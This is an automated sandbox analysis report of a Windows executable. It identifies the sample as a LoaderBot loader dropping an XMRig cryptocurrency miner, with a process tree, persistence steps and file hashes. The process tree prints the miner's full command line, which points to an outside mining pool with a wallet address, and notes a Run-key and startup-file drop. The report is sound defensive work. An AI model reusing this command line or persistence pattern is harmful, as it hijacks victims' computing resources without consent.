Analysis

  • max time kernel
    300s
  • max time network
    289s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    15/07/2024, 05:06

General

  • Target
    ae291e6482b4c6353490df035e179163b92b22bb22e0ae5cd6e83d99e47c071f.exe
  • Size 4.8MB
  • Sample240715-frwshascld
  • SHA256 ae291e6482b4c6353490df035e179163b92b22bb22e0ae5cd6e83d99e47c071f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 2 IoCs
  • XMRig Miner payload 30 IoCs
  • Drops startup file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ae291e6482b4c6353490df035e179163b92b22bb22e0ae5cd6e83d99e47c071f.exe
    "C:\Users\Admin\AppData\Local\Temp\ae291e6482b4c6353490df035e179163b92b22bb22e0ae5cd6e83d99e47c071f.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1580
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4900
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
        clamer.exe -priverdD
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3008
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\poldawr.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\poldawr.exe"
          4⤵
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5060
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 8AjRQPGQfFaMQL4ZNtmz6fSqpNdYZhUVsJxcZC7uiYmi1L5vQpeQr4nGu433wELAERYfH6BsSVBgKSnZcCdKHeYr4Cpj4ja -p x -k -v=0 --donate-level=1 -t 4
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:2220

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        1.bat

        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat
        • Size 37B
        • SHA256 bb8582ce28db923f243c8d7a3f2eccb0ed25930f5b5c94133af8eefb57a8231d
        • MD5 SHA1 SHA512

        clamer.exe

        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
        • Size 4.4MB
        • SHA256 d39995aa446861b523a59675c685ef3c144cdf872b734325b77118bedaf1b8c3
        • MD5 SHA1 SHA512 SSDEEP

        poldawr.exe

        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX1\poldawr.exe
        • Size 4.0MB
        • SHA256 5d3f2718aa12bf295540debe06aba1634bd1a22a6dbec4acec16dad34508c9cf
        • MD5 SHA1 SHA512 SSDEEP

        Driver.exe

        • Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        • Size 3.9MB
        • SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
        • MD5 SHA1 SHA512 SSDEEP

        memory/2220-40-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-43-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-27-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-29-0x00000000001D0000-0x00000000001E4000-memory.dmp

        memory/2220-30-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-31-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-32-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-33-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-34-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-35-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-36-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-37-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-38-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-39-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-59-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-41-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-42-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-58-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-44-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-45-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-46-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-47-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-48-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-49-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-50-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-51-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-52-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-53-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-54-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-55-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-56-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/2220-57-0x0000000140000000-0x0000000140B75000-memory.dmp

        memory/5060-23-0x0000000005000000-0x0000000005066000-memory.dmp

        memory/5060-20-0x00000000000C0000-0x00000000004BE000-memory.dmp